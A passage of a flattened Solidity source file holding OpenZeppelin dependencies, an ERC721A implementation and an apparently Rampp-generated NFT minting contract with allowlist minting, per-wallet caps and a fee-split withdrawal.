*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers tokenId token from from to to.
*
* Requirements:
*
* - from cannot be the zero address.
* - to cannot be the zero address.
* - tokenId token must exist and be owned by from.
* - If the caller is not from, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If to refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by owner at a given index of its token list.
* Use along with {balanceOf} to enumerate all of owner's tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given index of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for tokenId token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/utils/Strings.sol
// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a uint256 to its ASCII string decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a uint256 to its ASCII string hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a uint256 to its ASCII string hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/security/ReentrancyGuard.sol
// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from ReentrancyGuard will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single nonReentrant guard, functions marked as
* nonReentrant may not call one another. This can be worked around by making
* those functions private, and then adding external nonReentrant entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a nonReentrant function from another nonReentrant
* function is not supported. It is possible to prevent this from happening
* by making the nonReentrant function external, and making it call a
* private function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* onlyOwner, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* onlyOwner functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (newOwner).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
//-------------END DEPENDENCIES------------------------//
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
*
* WARNING: You should avoid using leaf values that are 64 bytes long prior to
* hashing, or use a hash function other than keccak256 for hashing leaves.
* This is because the concatenation of a sorted pair of internal nodes in
* the merkle tree could be reinterpreted as a leaf value.
*/
library MerkleProof {
/**
* @dev Returns true if a 'leaf' can be proved to be a part of a Merkle tree
* defined by 'root'. For this, a 'proof' must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
return processProof(proof, leaf) == root;
}
/**
* @dev Returns the rebuilt hash obtained by traversing a Merkle tree up
* from 'leaf' using 'proof'. A 'proof' is valid if and only if the rebuilt
* hash matches the root of the tree. When processing the proof, the pairs
* of leafs & pre-images are assumed to be sorted.
*
* _Available since v4.4._
*/
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = _efficientHash(computedHash, proofElement);
} else {
// Hash(current element of the proof + current computed hash)
computedHash = _efficientHash(proofElement, computedHash);
}
}
return computedHash;
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
assembly {
mstore(0x00, a)
mstore(0x20, b)
value := keccak256(0x00, 0x40)
}
}
}
// File: Allowlist.sol
pragma solidity ^0.8.0;
abstract contract Allowlist is Ownable {
bytes32 public merkleRoot;
bool public onlyAllowlistMode = false;
/**
* @dev Update merkle root to reflect changes in Allowlist
* @param _newMerkleRoot new merkle root to reflect most recent Allowlist
*/
function updateMerkleRoot(bytes32 _newMerkleRoot) public onlyOwner {
require(_newMerkleRoot != merkleRoot, "Merkle root will be unchanged!");
merkleRoot = _newMerkleRoot;
}
/**
* @dev Check the proof of an address if valid for merkle root
* @param _to address to check for proof
* @param _merkleProof Proof of the address to validate against root and leaf
*/
function isAllowlisted(address _to, bytes32[] calldata _merkleProof) public view returns(bool) {
require(merkleRoot != 0, "Merkle root is not set!");
bytes32 leaf = keccak256(abi.encodePacked(_to));
return MerkleProof.verify(_merkleProof, merkleRoot, leaf);
}
function enableAllowlistOnlyMode() public onlyOwner {
onlyAllowlistMode = true;
}
function disableAllowlistOnlyMode() public onlyOwner {
onlyAllowlistMode = false;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes the number of issuable tokens (collection size) is capped and fits in a uint128.
*
* Does not support burning tokens to address(0).
*/
contract ERC721A is
Context,
ERC165,
IERC721,
IERC721Metadata,
IERC721Enumerable
{
using Address for address;
using Strings for uint256;
struct TokenOwnership {
address addr;
uint64 startTimestamp;
}
struct AddressData {
uint128 balance;
uint128 numberMinted;
}
uint256 private currentIndex;
uint256 public immutable collectionSize;
uint256 public maxBatchSize;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) private _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev
* maxBatchSize refers to how much a minter can mint at a time.
* collectionSize_ refers to how many tokens are in the collection.
*/
constructor(
string memory name_,
string memory symbol_,
uint256 maxBatchSize_,
uint256 collectionSize_
) {
require(
collectionSize_ > 0,
"ERC721A: collection must have a nonzero supply"
);
require(maxBatchSize_ > 0, "ERC721A: max batch size must be nonzero");
_name = name_;
_symbol = symbol_;
maxBatchSize = maxBatchSize_;
collectionSize = collectionSize_;
currentIndex = _startTokenId();
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
return 1;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalMinted();
}
function currentTokenId() public view returns (uint256) {
return _totalMinted();
}
function getNextTokenId() public view returns (uint256) {
return SafeMath.add(_totalMinted(), 1);
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
unchecked {
return currentIndex - _startTokenId();
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
require(index < totalSupply(), "ERC721A: global index out of bounds");
return index;
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(collectionSize). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index)
public
view
override
returns (uint256)
{
require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
uint256 numMintedSoFar = totalSupply();
uint256 tokenIdsIdx = 0;
address currOwnershipAddr = address(0);
for (uint256 i = 0; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
revert("ERC721A: unable to get token of owner by index");
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC165, IERC165)
returns (bool)
{
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
require(owner != address(0), "ERC721A: balance query for the zero address");
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
require(
owner != address(0),
"ERC721A: number minted query for the zero address"
);
return uint256(_addressData[owner].numberMinted);
}
function ownershipOf(uint256 tokenId)
internal
view
returns (TokenOwnership memory)
{
uint256 curr = tokenId;
unchecked {
if (_startTokenId() <= curr && curr < currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
revert("ERC721A: unable to determine the owner of token");
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
string memory baseURI = _baseURI();
return
bytes(baseURI).length > 0
? string(abi.encodePacked(baseURI, tokenId.toString()))
: "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the baseURI and the tokenId. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
require(to != owner, "ERC721A: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721A: approve caller is not owner nor approved for all"
);
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
require(_exists(tokenId), "ERC721A: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
require(operator != _msgSender(), "ERC721A: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public override {
_transfer(from, to, tokenId);
require(
_checkOnERC721Received(from, to, tokenId, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Returns whether tokenId exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (_mint),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return _startTokenId() <= tokenId && tokenId < currentIndex;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, "");
}
/**
* @dev Mints quantity tokens and transfers them to to.
*
* Requirements:
*
* - there must be quantity tokens remaining unminted in the total collection.
* - to cannot be the zero address.
* - quantity cannot be larger than the max batch size.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
uint256 startTokenId = currentIndex;
require(to != address(0), "ERC721A: mint to the zero address");
// We know if the first token in the batch doesn't exist, the other ones don't as well, because of serial ordering.
require(!_exists(startTokenId), "ERC721A: token already minted");
require(quantity <= maxBatchSize, "ERC721A: quantity to mint too high");
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
AddressData memory addressData = _addressData[to];
_addressData[to] = AddressData(
addressData.balance + uint128(quantity),
addressData.numberMinted + uint128(quantity)
);
_ownerships[startTokenId] = TokenOwnership(to, uint64(block.timestamp));
uint256 updatedIndex = startTokenId;
for (uint256 i = 0; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
require(
_checkOnERC721Received(address(0), to, updatedIndex, _data),
"ERC721A: transfer to non ERC721Receiver implementer"
);
updatedIndex++;
}
currentIndex = updatedIndex;
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers tokenId from from to to.
*
* Requirements:
*
* - to cannot be the zero address.
* - tokenId token must be owned by from.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
getApproved(tokenId) == _msgSender() ||
isApprovedForAll(prevOwnership.addr, _msgSender()));
require(
isApprovedOrOwner,
"ERC721A: transfer caller is not owner nor approved"
);
require(
prevOwnership.addr == from,
"ERC721A: transfer from incorrect owner"
);
require(to != address(0), "ERC721A: transfer to the zero address");
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId] = TokenOwnership(to, uint64(block.timestamp));
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
if (_exists(nextTokenId)) {
_ownerships[nextTokenId] = TokenOwnership(
prevOwnership.addr,
prevOwnership.startTimestamp
);
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Approve to to operate on tokenId
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
uint256 public nextOwnerToExplicitlySet = 0;
/**
* @dev Explicitly set owners to eliminate loops in future calls of ownerOf().
*/
function _setOwnersExplicit(uint256 quantity) internal {
uint256 oldNextOwnerToSet = nextOwnerToExplicitlySet;
require(quantity > 0, "quantity must be nonzero");
if (currentIndex == _startTokenId()) revert('No Tokens Minted Yet');
uint256 endIndex = oldNextOwnerToSet + quantity - 1;
if (endIndex > collectionSize - 1) {
endIndex = collectionSize - 1;
}
// We know if the last one in the group exists, all in the group exist, due to serial ordering.
require(_exists(endIndex), "not enough minted yet for this cleanup");
for (uint256 i = oldNextOwnerToSet; i <= endIndex; i++) {
if (_ownerships[i].addr == address(0)) {
TokenOwnership memory ownership = ownershipOf(i);
_ownerships[i] = TokenOwnership(
ownership.addr,
ownership.startTimestamp
);
}
}
nextOwnerToExplicitlySet = endIndex + 1;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try
IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data)
returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721A: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When from and to are both non-zero, from's tokenId will be
* transferred to to.
* - When from is zero, tokenId will be minted for to.
*/
function _beforeTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when from and to are both non-zero.
* - from and to are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal virtual {}
}
abstract contract Ramppable {
address public RAMPPADDRESS = 0xa9dAC8f3aEDC55D0FE707B86B8A45d246858d2E1;
modifier isRampp() {
require(msg.sender == RAMPPADDRESS, "Ownable: caller is not RAMPP");
_;
}
}
interface IERC20 {
function transfer(address _to, uint256 _amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
}
abstract contract Withdrawable is Ownable, Ramppable {
address[] public payableAddresses = [RAMPPADDRESS,0x1074Fc12df87638F5B7AA31D2Cf0Af872A239D91];
uint256[] public payableFees = [5,95];
uint256 public payableAddressCount = 2;
function withdrawAll() public onlyOwner {
require(address(this).balance > 0);
_withdrawAll();
}
function withdrawAllRampp() public isRampp {
require(address(this).balance > 0);
_withdrawAll();
}
function _withdrawAll() private {
uint256 balance = address(this).balance;
for(uint i=0; i < payableAddressCount; i++ ) {
_widthdraw(
payableAddresses[i],
(balance * payableFees[i]) / 100
);
}
}
function _widthdraw(address _address, uint256 _amount) private {
(bool success, ) = _address.call{value: _amount}("");
require(success, "Transfer failed.");
}
/**
* @dev Allow contract owner to withdraw ERC-20 balance from contract
* while still splitting royalty payments to all other team members.
* in the event ERC-20 tokens are paid to the contract.
* @param _tokenContract contract of ERC-20 token to withdraw
* @param _amount balance to withdraw according to balanceOf of ERC-20 token
*/
function withdrawAllERC20(address _tokenContract, uint256 _amount) public onlyOwner {
require(_amount > 0);
IERC20 tokenContract = IERC20(_tokenContract);
require(tokenContract.balanceOf(address(this)) >= _amount, 'Contract does not own enough tokens');
for(uint i=0; i < payableAddressCount; i++ ) {
tokenContract.transfer(payableAddresses[i], (_amount * payableFees[i]) / 100);
}
}
/**
* @dev Allows Rampp wallet to update its own reference as well as update
* the address for the Rampp-owed payment split. Cannot modify other payable slots
* and since Rampp is always the first address this function is limited to the rampp payout only.
* @param _newAddress updated Rampp Address
*/
function setRamppAddress(address _newAddress) public isRampp {
require(_newAddress != RAMPPADDRESS, "RAMPP: New Rampp address must be different");
RAMPPADDRESS = _newAddress;
payableAddresses[0] = _newAddress;
}
}
abstract contract RamppERC721A is
Ownable,
ERC721A,
Withdrawable,
ReentrancyGuard , Allowlist {
constructor(
string memory tokenName,
string memory tokenSymbol
) ERC721A(tokenName, tokenSymbol, 1, 777 ) {}
using SafeMath for uint256;
uint8 public CONTRACT_VERSION = 2;
string public _baseTokenURI = "ipfs://QmZH5qMMsfEyoUcxk3tFDCuB9U7tT3BN4qRYjMS2GUnpsH/";
bool public mintingOpen = true;
uint256 public PRICE = 0.0333 ether;
uint256 public MAX_WALLET_MINTS = 1;
mapping(address => uint256) private addressMints;
/////////////// Admin Mint Functions
/**
* @dev Mints a token to an address with a tokenURI.
* This is owner only and allows a fee-free drop
* @param _to address of the future owner of the token
*/
function mintToAdmin(address _to) public onlyOwner {
require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 777");
_safeMint(_to, 1);
}
function mintManyAdmin(address[] memory _addresses, uint256 _addressCount) public onlyOwner {
for(uint i=0; i < _addressCount; i++ ) {
mintToAdmin(_addresses[i]);
}
}
/////////////// GENERIC MINT FUNCTIONS
/**
* @dev Mints a single token to an address.
* fee may or may not be required*
* @param _to address of the future owner of the token
*/
function mintTo(address _to) public payable {
require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 777");
require(mintingOpen == true && onlyAllowlistMode == false, "Public minting is not open right now!");
require(canMintAmount(_to, 1), "Wallet address is over the maximum allowed mints");
require(msg.value == PRICE, "Value needs to be exactly the mint fee!");
_safeMint(_to, 1);
updateMintCount(_to, 1);
}
/**
* @dev Mints a token to an address with a tokenURI.
* fee may or may not be required*
* @param _to address of the future owner of the token
* @param _amount number of tokens to mint
*/
function mintToMultiple(address _to, uint256 _amount) public payable {
require(_amount >= 1, "Must mint at least 1 token");
require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction");
require(mintingOpen == true && onlyAllowlistMode == false, "Public minting is not open right now!");
require(canMintAmount(_to, _amount), "Wallet address is over the maximum allowed mints");
require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 777");
require(msg.value == getPrice(_amount), "Value below required mint fee for amount");
_safeMint(_to, _amount);
updateMintCount(_to, _amount);
}
function openMinting() public onlyOwner {
mintingOpen = true;
}
function stopMinting() public onlyOwner {
mintingOpen = false;
}
///////////// ALLOWLIST MINTING FUNCTIONS
/**
* @dev Mints a token to an address with a tokenURI for allowlist.
* fee may or may not be required*
* @param _to address of the future owner of the token
*/
function mintToAL(address _to, bytes32[] calldata _merkleProof) public payable {
require(onlyAllowlistMode == true && mintingOpen == true, "Allowlist minting is closed");
require(isAllowlisted(_to, _merkleProof), "Address is not in Allowlist!");
require(getNextTokenId() <= collectionSize, "Cannot mint over supply cap of 777");
require(canMintAmount(_to, 1), "Wallet address is over the maximum allowed mints");
require(msg.value == PRICE, "Value needs to be exactly the mint fee!");
_safeMint(_to, 1);
updateMintCount(_to, 1);
}
/**
* @dev Mints a token to an address with a tokenURI for allowlist.
* fee may or may not be required*
* @param _to address of the future owner of the token
* @param _amount number of tokens to mint
*/
function mintToMultipleAL(address _to, uint256 _amount, bytes32[] calldata _merkleProof) public payable {
require(onlyAllowlistMode == true && mintingOpen == true, "Allowlist minting is closed");
require(isAllowlisted(_to, _merkleProof), "Address is not in Allowlist!");
require(_amount >= 1, "Must mint at least 1 token");
require(_amount <= maxBatchSize, "Cannot mint more than max mint per transaction");
require(canMintAmount(_to, _amount), "Wallet address is over the maximum allowed mints");
require(currentTokenId() + _amount <= collectionSize, "Cannot mint over supply cap of 777");
require(msg.value == getPrice(_amount), "Value below required mint fee for amount");
_safeMint(_to, _amount);
updateMintCount(_to, _amount);
}
/**
* @dev Enable allowlist minting fully by enabling both flags
* This is a convenience function for the Rampp user
*/
function openAllowlistMint() public onlyOwner {
enableAllowlistOnlyMode();
mintingOpen = true;
}
/**
* @dev Close allowlist minting fully by disabling both flags
* This is a convenience function for the Rampp user
*/
function closeAllowlistMint() public onlyOwner {
disableAllowlistOnlyMode();
mintingOpen = false;
}
/**
* @dev Check if wallet over MAX_WALLET_MINTS
* @param _address address in question to check if minted count exceeds max
*/
function canMintAmount(address _address, uint256 _amount) public view returns(bool) {
require(_amount >= 1, "Amount must be greater than or equal to 1");
return SafeMath.add(addressMints[_address], _amount) <= MAX_WALLET_MINTS;
}
/**
* @dev Update an address that has minted to new minted amount
* @param _address address in question to check if minted count exceeds max
* @param _amount the quanitiy of tokens to be minted
*/
function updateMintCount(address _address, uint256 _amount) private {
require(_amount >= 1, "Amount must be greater than or equal to 1");
addressMints[_address] = SafeMath.add(addressMints[_address], _amount);
}
/**
* @dev Update the maximum amount of tokens that can be minted by a unique wallet
* @param _newWalletMax the new max of tokens a wallet can mint. Must be >= 1
*/
function setWalletMax(uint256 _newWalletMax) public onlyOwner {
require(_newWalletMax >= 1, "Max mints per wallet must be at least 1");
MAX_WALLET_MINTS = _newWalletMax;
}
/**
* @dev Allows owner to set Max mints per tx
* @param _newMaxMint maximum amount of tokens allowed to mint per tx. Must be >= 1
*/
function setMaxMint(uint256 _newMaxMint) public onlyOwner {
require(_newMaxMint >= 1, "Max mint must be at least 1");
maxBatchSize = _newMaxMint;
}
function setPrice(uint256 _feeInWei) public onlyOwner {
PRICE = _feeInWei;
}
function getPrice(uint256 _count) private view returns (uint256) {
return PRICE.mul(_count);
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseTokenURI;
}
function baseTokenURI() public view returns (string memory) {
return _baseTokenURI;
}
